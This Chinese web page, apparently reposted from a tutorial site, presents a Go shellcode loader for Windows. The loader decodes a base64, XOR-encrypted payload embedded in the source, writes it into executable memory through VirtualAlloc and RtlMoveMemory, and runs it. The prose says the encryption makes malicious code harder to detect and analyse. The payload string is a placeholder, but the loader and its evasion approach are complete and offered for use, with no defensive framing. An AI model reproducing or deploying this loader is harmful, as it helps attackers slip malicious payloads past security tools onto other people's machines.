这段代码实现了一个简单的加密和解密函数,用于对shellcode进行加密和解密。具体来说,XorCipher函数实现了异或加密,Crypt函数用于调用不同的加密函数,Encode函数用于将shellcode加密并使用base64编码,Decode函数用于将加密的base64字符串解码并解密得到原始的shellcode。最后的exec函数将解密后的shellcode执行。

与之前的代码不同的是,这里的shellcode不再从文件中读取,而是在代码中直接添加加密后的shellcode,这样可以避免读取文件的操作,减少IO操作的时间。同时,使用加密函数对shellcode进行加密可以增加shellcode的安全性,使得恶意代码更难被检测和分析。

package main

import (
	"encoding/base64"
	"io/ioutil"
	"syscall"
	"time"
	"unsafe"
)

const (
	MEM_COMMIT             = 0x1000
	MEM_RESERVE            = 0x2000
	PAGE_EXECUTE_READWRITE = 0x40
)

var XorKey = [][]byte{
	{0x13, 0x54, 077, 0x1A, 0xA1, 0x3F, 0x04, 0x8B},
	{0x13, 0x54, 0x77, 0x69, 0x97, 0x3F, 0x33, 0x2B},
	{0x31, 0x23, 0x37, 0x19, 0x91, 0x3F, 0x50, 0x9B},
}

// 加密函数类型
type CipherFunc func(key []byte, src []byte) []byte

// 异或加密函数
func XorCipher(key []byte, src []byte) []byte {
	var dst []byte
	for i := 0; i < len(src); i++ {
		byteToEncode := src[i]
		for _, k := range key {
			byteToEncode ^= k
		}
		dst = append(dst, byteToEncode)
	}
	return dst
}

// 加密函数调用
func Crypt(cipher CipherFunc, key []byte, src []byte) []byte {
	return cipher(key, src)
}

// 编码函数
func Encode(src string) string {
	payloadBytes := []byte(src)
	encodedBytes := Crypt(XorCipher, XorKey[0], payloadBytes)
	bdata := base64.StdEncoding.EncodeToString(encodedBytes)
	return bdata
}

// 解码函数
func Decode(src string) []byte {
	decodedBytes, _ := base64.StdEncoding.DecodeString(src)
	payloadBytes := Crypt(XorCipher, XorKey[0], decodedBytes)
	return payloadBytes
}

// 声明Windows API函数
var (
	kernel32      = syscall.NewLazyDLL("kernel32.dll")
	ntdll         = syscall.NewLazyDLL("ntdll.dll")
	VirtualAlloc  = kernel32.NewProc("VirtualAlloc")
	RtlMoveMemory = ntdll.NewProc("RtlMoveMemory")
)

// 执行Shellcode函数
func exec(charcode []byte) {
	addr, _, _ := VirtualAlloc.Call(0, uintptr(len(charcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
	time.Sleep(5 * time.Second)
	_, _, _ = RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&charcode[0])), uintptr(len(charcode)))
	time.Sleep(5 * time.Second)
	syscall.Syscall(addr, 0, 0, 0, 0)
}

// 读取文件函数
func readFile(filename string) []byte {
	data, _ := ioutil.ReadFile(filename)
	return data
}

func main() {
	// 加密后的Shellcode
	encodedPayload := "这里填入加密后的Shellcode的base64编码"
	shellCodeHex := Decode(encodedPayload)
	exec(shellCodeHex)
}
Go语言加密Shellcode执行:无需外部文件,安全高效

原文地址: https://www.cveoy.top/t/topic/lP4O 著作权归作者所有。请勿转载和采集!

免费AI点我,无需注册和登录